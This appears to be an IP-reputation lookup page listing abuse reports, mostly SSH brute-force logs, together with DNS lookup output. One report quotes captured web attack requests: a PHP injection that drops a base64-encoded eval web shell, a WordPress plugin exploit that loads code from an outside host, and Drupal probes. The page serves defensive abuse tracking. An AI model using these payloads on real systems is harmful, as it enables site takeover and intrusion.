Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: Brazil

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
IP Type Details Datetime
138.121.16.111 attackbots
Invalid user admin from 138.121.16.111 port 44172
2020-06-06 01:28:57
138.121.161.198 attackbotsspam
Feb 16 01:28:50 sd-53420 sshd\[31396\]: Invalid user gmodserver1 from 138.121.161.198
Feb 16 01:28:50 sd-53420 sshd\[31396\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
Feb 16 01:28:52 sd-53420 sshd\[31396\]: Failed password for invalid user gmodserver1 from 138.121.161.198 port 34128 ssh2
Feb 16 01:32:34 sd-53420 sshd\[31830\]: Invalid user osman from 138.121.161.198
Feb 16 01:32:34 sd-53420 sshd\[31830\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
...
2020-02-16 10:45:04
138.121.161.222 attack
Dec  9 07:39:33 * sshd[8908]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.222
Dec  9 07:39:35 * sshd[8908]: Failed password for invalid user pugin from 138.121.161.222 port 54959 ssh2
2019-12-09 14:52:21
138.121.161.198 attack
Sep 23 21:05:29 localhost sshd\[77474\]: Invalid user www from 138.121.161.198 port 45582
Sep 23 21:05:29 localhost sshd\[77474\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
Sep 23 21:05:31 localhost sshd\[77474\]: Failed password for invalid user www from 138.121.161.198 port 45582 ssh2
Sep 23 21:10:16 localhost sshd\[77674\]: Invalid user odroid from 138.121.161.198 port 36053
Sep 23 21:10:16 localhost sshd\[77674\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
...
2019-09-24 06:37:41
138.121.161.198 attackspam
Sep 14 10:37:54 lcdev sshd\[11567\]: Invalid user aDmin from 138.121.161.198
Sep 14 10:37:54 lcdev sshd\[11567\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
Sep 14 10:37:56 lcdev sshd\[11567\]: Failed password for invalid user aDmin from 138.121.161.198 port 57782 ssh2
Sep 14 10:42:42 lcdev sshd\[12047\]: Invalid user c_log from 138.121.161.198
Sep 14 10:42:42 lcdev sshd\[12047\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
2019-09-15 09:16:24
138.121.161.198 attack
2019-09-07T09:26:14.011765lon01.zurich-datacenter.net sshd\[29585\]: Invalid user testftp from 138.121.161.198 port 44623
2019-09-07T09:26:14.019383lon01.zurich-datacenter.net sshd\[29585\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
2019-09-07T09:26:16.633167lon01.zurich-datacenter.net sshd\[29585\]: Failed password for invalid user testftp from 138.121.161.198 port 44623 ssh2
2019-09-07T09:31:19.784407lon01.zurich-datacenter.net sshd\[29698\]: Invalid user ts3server from 138.121.161.198 port 36045
2019-09-07T09:31:19.790531lon01.zurich-datacenter.net sshd\[29698\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
...
2019-09-07 16:04:56
138.121.161.198 attack
Sep  3 04:19:20 bouncer sshd\[18354\]: Invalid user admin from 138.121.161.198 port 45456
Sep  3 04:19:20 bouncer sshd\[18354\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198 
Sep  3 04:19:22 bouncer sshd\[18354\]: Failed password for invalid user admin from 138.121.161.198 port 45456 ssh2
...
2019-09-03 10:38:30
138.121.161.198 attackbots
Aug 30 11:46:04 aiointranet sshd\[17797\]: Invalid user chip from 138.121.161.198
Aug 30 11:46:04 aiointranet sshd\[17797\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
Aug 30 11:46:06 aiointranet sshd\[17797\]: Failed password for invalid user chip from 138.121.161.198 port 52856 ssh2
Aug 30 11:51:06 aiointranet sshd\[18191\]: Invalid user jack from 138.121.161.198
Aug 30 11:51:06 aiointranet sshd\[18191\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
2019-08-31 06:17:27
138.121.161.198 attack
ssh failed login
2019-08-24 03:24:21
138.121.161.198 attack
Aug 22 01:49:49 web1 sshd\[19295\]: Invalid user prueba from 138.121.161.198
Aug 22 01:49:49 web1 sshd\[19295\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
Aug 22 01:49:51 web1 sshd\[19295\]: Failed password for invalid user prueba from 138.121.161.198 port 53022 ssh2
Aug 22 01:55:09 web1 sshd\[19827\]: Invalid user abc123 from 138.121.161.198
Aug 22 01:55:09 web1 sshd\[19827\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
2019-08-22 19:56:37
138.121.161.198 attack
Invalid user it1 from 138.121.161.198 port 53798
2019-08-18 20:19:14
138.121.161.198 attackspambots
Aug 15 12:15:55 aiointranet sshd\[8122\]: Invalid user gao from 138.121.161.198
Aug 15 12:15:55 aiointranet sshd\[8122\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
Aug 15 12:15:57 aiointranet sshd\[8122\]: Failed password for invalid user gao from 138.121.161.198 port 44003 ssh2
Aug 15 12:20:55 aiointranet sshd\[8642\]: Invalid user gpadmin from 138.121.161.198
Aug 15 12:20:55 aiointranet sshd\[8642\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198
2019-08-16 06:32:41
138.121.161.198 attackbots
Triggered by Fail2Ban at Vostok web server
2019-08-13 16:26:44
138.121.161.198 attackbots
Brute force SMTP login attempted.
...
2019-08-10 04:10:47
138.121.161.198 attackbots
Aug  8 19:28:03 ks10 sshd[3792]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.121.161.198 
Aug  8 19:28:05 ks10 sshd[3792]: Failed password for invalid user aria from 138.121.161.198 port 43246 ssh2
...
2019-08-09 02:44:41
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 138.121.16.209
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51459
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;138.121.16.209.			IN	A

;; AUTHORITY SECTION:
.			151	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022020601 1800 900 604800 86400

;; Query time: 20 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Feb 07 12:19:08 CST 2022
;; MSG SIZE  rcvd: 107
Host info
209.16.121.138.in-addr.arpa domain name pointer 209-16-121-138.static.microwebnet.com.br.
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
209.16.121.138.in-addr.arpa	name = 209-16-121-138.static.microwebnet.com.br.

Authoritative answers can be found from:
Related IP info:
Related comments:
IP Type Details Datetime
37.200.253.135 attackbots
445/tcp
[2019-06-21]1pkt
2019-06-22 05:55:26
116.48.141.193 attackspambots
Bad Request: "GET / HTTP/1.0"
2019-06-22 06:05:50
176.31.182.143 attackspambots
Host tried to access Magento backend without being authorized
2019-06-22 06:20:57
42.114.204.95 attackbots
" "
2019-06-22 06:07:58
190.11.225.59 attack
Request: "GET / HTTP/1.1"
2019-06-22 06:04:23
177.130.161.20 attackspambots
21.06.2019 21:43:45 - Login Fail on hMailserver 
Detected by ELinOX-hMail-A2F
2019-06-22 06:32:32
66.199.246.2 attack
Jun 19 05:50:49 srv1 sshd[29326]: reveeclipse mapping checking getaddrinfo for kps.hosting.inspirations.net [66.199.246.2] failed - POSSIBLE BREAK-IN ATTEMPT!
Jun 19 05:50:49 srv1 sshd[29326]: Invalid user kimonda from 66.199.246.2
Jun 19 05:50:49 srv1 sshd[29326]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.199.246.2 
Jun 19 05:50:51 srv1 sshd[29326]: Failed password for invalid user kimonda from 66.199.246.2 port 55278 ssh2
Jun 19 05:50:51 srv1 sshd[29326]: Received disconnect from 66.199.246.2: 11: Bye Bye [preauth]
Jun 19 05:55:13 srv1 sshd[29704]: reveeclipse mapping checking getaddrinfo for kps.hosting.inspirations.net [66.199.246.2] failed - POSSIBLE BREAK-IN ATTEMPT!
Jun 19 05:55:13 srv1 sshd[29704]: Invalid user test from 66.199.246.2
Jun 19 05:55:13 srv1 sshd[29704]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=66.199.246.2 
Jun 19 05:55:15 srv1 sshd[29704]: Failed passwo........
-------------------------------
2019-06-22 05:49:18
138.186.179.32 attackspambots
445/tcp
[2019-06-21]1pkt
2019-06-22 06:04:58
88.126.255.148 attackbots
Jun 21 22:39:10 mout sshd[15606]: Invalid user admin from 88.126.255.148 port 36748
Jun 21 22:39:12 mout sshd[15606]: Failed password for invalid user admin from 88.126.255.148 port 36748 ssh2
Jun 21 22:39:12 mout sshd[15606]: Connection closed by 88.126.255.148 port 36748 [preauth]
2019-06-22 05:47:25
41.232.42.75 attack
Request: "GET /?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-'; HTTP/1.1" Request: "POST //user/register/?element_parents=account/mail/#valueajax_form=1_wrapper_format=drupal_ajax HTTP/1.1" Request: "POST //wp-admin/admin-post.php?swp_debug=load_optionsswp_url=http://52.65.39.181//wp-includes/css/css/css.csswpaa=echo "h1loo1"; HTTP/1.1" Request: "POST //wp-admin/admin-post.php?swp_debug=load_optionsswp_url=http://52.65.39.181//wp-includes/css/css/css.csswpaa=echo "h1loo1"; HTTP/1.1" Request: "GET //wp-admin/admin-post.php?swp_debug=load_optionsswp_url=http://52.65.39.181//wp-includes/css/css/css.csswpaa=echo "h1loo1"; HTTP/1.1" Request: "GET //wp-admin/admin-post.php?swp_debug=load_optionsswp_url=http://52.65.39.181//wp-includes/css/css/css.csswpaa=echo "h1loo1"; HTTP/1.1" Request: "GET //wp
2019-06-22 06:28:18
181.1.106.48 attackspam
Request: "GET / HTTP/1.1"
2019-06-22 06:00:24
39.72.12.109 attackspambots
22/tcp
[2019-06-21]1pkt
2019-06-22 06:20:12
82.129.118.31 attackspambots
23/tcp
[2019-06-21]1pkt
2019-06-22 06:16:08
37.144.96.136 attackbotsspam
445/tcp
[2019-06-21]1pkt
2019-06-22 06:14:14
109.201.138.231 attackspambots
Bad Bot Request: "HEAD / HTTP/1.1" Agent: "Mozilla/5.0 (compatible; Uptimebot/1.0;  http://www.uptime.com/uptimebot)"
2019-06-22 06:19:51

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